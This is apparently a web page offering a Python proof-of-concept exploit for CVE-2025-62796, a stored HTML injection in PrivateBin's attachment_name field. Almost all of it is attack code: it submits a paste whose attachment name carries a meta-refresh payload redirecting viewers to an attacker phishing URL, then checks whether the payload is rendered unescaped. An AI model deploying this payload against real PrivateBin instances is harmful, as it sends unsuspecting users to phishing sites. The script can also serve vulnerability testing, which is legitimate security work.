CVE-2025-62796 PrivateBin 持久型HTML注入漏洞

import requests import json # CVE-2025-62796 PoC - PrivateBin HTML Injection via attachment_name # This PoC demonstrates how to inject arbitrary HTML via attachment_name TARGET_URL = "https://privatebin-instance.net/" def create_malicious_paste(): """ Create a paste with malicious attachment_name containing HTML injection payload. The payload uses meta refresh tag to redirect users to attacker-controlled site. """ injection_payload = '<meta http-equiv="refresh" content="0;url=https://attacker.com/phishing">' # PoC payload structure for PrivateBin API # Note: This is a simplified demonstration of the vulnerability concept paste_data = { "v": 2, "adata": [], "meta": { "attachment_name": injection_payload, "attachment_size": 1024 }, "hide": False } headers = { "Content-Type": "application/json", "X-Requested-With": "JSONHttpRequest" } try: response = requests.post( f"{TARGET_URL}", data=json.dumps(paste_data), headers=headers ) print(f"[*] Response Status: {response.status_code}") return response.json() except Exception as e: print(f"[!] Error: {e}") return None def verify_injection(paste_id): """ Verify that the HTML injection was successful by checking the paste content. """ try: response = requests.get(f"{TARGET_URL}?pasteid={paste_id}&format=json") data = response.json() # Check if attachment_name is rendered without escaping if '<meta http-equiv="refresh"' in str(data): print("[!] VULNERABLE: HTML injection successful!") return True else: print("[*] SAFE: Injection payload was sanitized") return False except Exception as e: print(f"[!] Error verifying: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62796 PoC - PrivateBin HTML Injection") print("=" * 60) result = create_malicious_paste() if result and "id" in result: print(f"[*] Paste created with ID: {result['id']}") verify_injection(result['id'])